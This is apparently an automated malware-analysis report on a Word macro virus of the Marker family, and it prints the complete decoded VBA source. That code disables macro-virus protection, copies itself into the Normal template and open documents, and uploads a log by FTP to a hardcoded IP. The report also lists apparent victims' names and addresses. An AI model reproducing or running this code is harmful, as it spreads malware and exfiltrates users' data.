MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1553.004 Disable or Modify Toolbars and Menus
The VBA macro explicitly disables macro virus protection and attempts to replicate its code into the Normal.dot template, indicating a self-propagation and persistence mechanism. The script also writes to a file named 'c:\hsf????.sys' and attempts to transfer it via FTP to '209.201.88.110' using a hardcoded script in 'c:\netldx.vxd', suggesting it acts as a downloader or dropper for a second-stage payload.
Heuristics 4
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ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
'Switch the VirusProtection OFF Options.VirusProtection = False
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5564 bytes |
SHA-256: 7672548a3226e30cf8cd300368217e7447caec5bd66b035ef62b0758234bea3e |
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Detection
ClamAV:
Doc.Trojan.Marker-3
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For i = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For i = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next i
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 09:27:31 AM - Tuesday, 29 Dec 1998
' BCBSA
'
' 12:03:25 PM - Tuesday, 12 Jan 1999
' DLShaffer
'
' 01:23:51 PM - Thursday, 18 Feb 1999
' Marcia Chavez
'
' 01:53:01 PM - Thursday, 4 Mar 1999
' AWI User
'
' 06:50:02 PM - Monday, 29 Mar 1999
' Gwyneth Borden
'
' 07:27:25 PM - Friday, 2 Apr 1999
' Heather MacLeod
'
' 10:15:50 AM - Tuesday, 1 Feb 2000
' NOLS
'
' 10:23:43 AM - Friday, 11 Feb 2000
' NOLS
'
' 04:13:45 PM - Friday, 18 Feb 2000
' NOLS
'
' 08:57:53 AM - Thursday, 27 Apr 2000
' NOLS
'
' 01:00:28 PM - Friday, 5 May 2000
' NOLS
'
' 09:04:38 AM - Wednesday, 10 May 2000
' NOLS
'
' 11:32:28 AM - Tuesday, 23 Jan 2001
' NOLS
'
' 11:58:51 AM - Thursday, 15 Feb 2001
' NOLS
'
' 10:19:30 AM - Monday, 5 Mar 2001
' NOLS
'
' 11:23:00 AM - Thursday, 19 Apr 2001
' NOLS
'
' 09:08:59 AM - Wednesday, 25 Jul 2001
' NOLS
'
' 11:59:29 AM - Tuesday, 4 Sep 2001
' NOLS
'
' 09:06:28 AM - Monday, 2 Jun 2003
' NOLS
'
' 12:41:48 PM - Thursday, 22 Apr 2004
' These Nutz
' InYaMouth.inc
'
' 01:17:47 PM - Tuesday, 13 Jul 2004
' clint mccarthy
' eagle rock school
'
' 04:36:37 PM - Tuesday, 10 Aug 2004
' Stanley Richards
' 725A Bolton St
' Durham, NC 27705
' USA
' 11:54:04 AM - Monday, 30 Aug 2004
' Danielle Johnson
' City Arts & Tech High School
' 301 De Montfort Avenue
' San Francisco, CA 94122
' USA
' 10:04:50 AM - Wednesday, 2 Nov 2005
' Teachers
' City Arts & Tech High School
'
' 05:11:29 PM - Monday, 5 Dec 2005
' Teachers
' City Arts & Tech High School
'
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